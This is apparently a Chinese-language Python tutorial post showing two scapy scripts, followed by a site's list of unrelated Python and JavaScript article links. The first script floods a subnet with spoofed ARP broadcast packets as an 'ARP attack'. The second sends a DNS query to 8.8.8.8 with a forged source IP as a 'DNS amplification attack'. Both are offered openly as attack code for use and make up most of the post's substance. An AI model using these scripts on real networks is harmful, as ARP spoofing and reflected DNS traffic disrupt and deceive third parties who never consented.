Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
python列表操作实例
Jan 14 Python
python实现根据窗口标题调用窗口的方法
Mar 13 Python
操作Windows注册表的简单的Python程序制作教程
Apr 07 Python
Python捕捉和模拟鼠标事件的方法
Jun 03 Python
python实现批量修改文件名代码
Sep 10 Python
python3中os.path模块下常用的用法总结【推荐】
Sep 16 Python
Python 实现数据结构中的的栈队列
May 16 Python
对numpy下的轴交换transpose和swapaxes的示例解读
Jun 26 Python
Python如何读写CSV文件
Aug 13 Python
python opencv pytesseract 验证码识别的实现
Aug 28 Python
Pycharm连接gitlab实现过程图解
Sep 01 Python
python实现简单倒计时功能
Apr 21 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
PHP定时执行任务的3种方法详解
2015/12/21 PHP
一个简单安全的PHP验证码类 附调用方法
2016/06/24 PHP
CI框架(CodeIgniter)实现的数据库增删改查操作总结
2018/05/23 PHP
PHP使用PDO操作sqlite数据库应用案例
2019/03/07 PHP
js中top/parent/frame概述及案例应用
2013/02/06 Javascript
jquery设置控件位置的方法
2013/08/21 Javascript
javascript实现动态表头及表列的展现方法
2015/07/14 Javascript
jquery自定义右键菜单、全选、不连续选择
2016/03/01 Javascript
JavaScript数组方法大全(推荐)
2016/07/05 Javascript
关于微信上网页图片点击全屏放大效果
2016/12/19 Javascript
详解用原生JavaScript实现jQuery的某些简单功能
2016/12/19 Javascript
原生js实现对Ajax的封装(仿jquery)
2017/01/22 Javascript
vue router 配置路由的方法
2018/07/26 Javascript
JS动画实现回调地狱promise的实例代码详解
2018/11/08 Javascript
浅谈对于react-thunk中间件的简单理解
2019/05/01 Javascript
详解如何使用React Hooks请求数据并渲染
2020/10/18 Javascript
[02:41]DOTA2英雄基础教程 谜团
2013/12/10 DOTA
跟老齐学Python之画圈还不简单吗?
2014/09/20 Python
python生成随机密码或随机字符串的方法
2015/07/03 Python
python中快速进行多个字符替换的方法小结
2016/12/15 Python
解决PySide+Python子线程更新UI线程的问题
2019/01/11 Python
Python面向对象实现一个对象调用另一个对象操作示例
2019/04/08 Python
Python远程视频监控程序的实例代码
2019/05/05 Python
python实现视频读取和转化图片
2019/12/10 Python
python利用蒙版抠图(使用PIL.Image和cv2)输出透明背景图
2020/08/04 Python
css3编写浏览器背景渐变背景色的方法
2018/03/05 HTML / CSS
日常奢侈品,轻松购物:Verishop
2019/08/20 全球购物
个人简历自我鉴定
2013/10/11 职场文书
生物技术毕业生自荐信
2013/10/23 职场文书
工程师岗位职责规定
2014/02/26 职场文书
小学生元旦感言
2014/02/26 职场文书
组织鉴定材料
2014/06/02 职场文书
经典毕业生求职信
2014/07/12 职场文书
fastdfs+nginx集群搭建的实现
2021/03/31 Servers
Python 如何利用ffmpeg 处理视频素材
2021/11/27 Python
Ubuntu18.04下QT开发Android无法连接设备问题解决实现
2022/06/01 Java/Android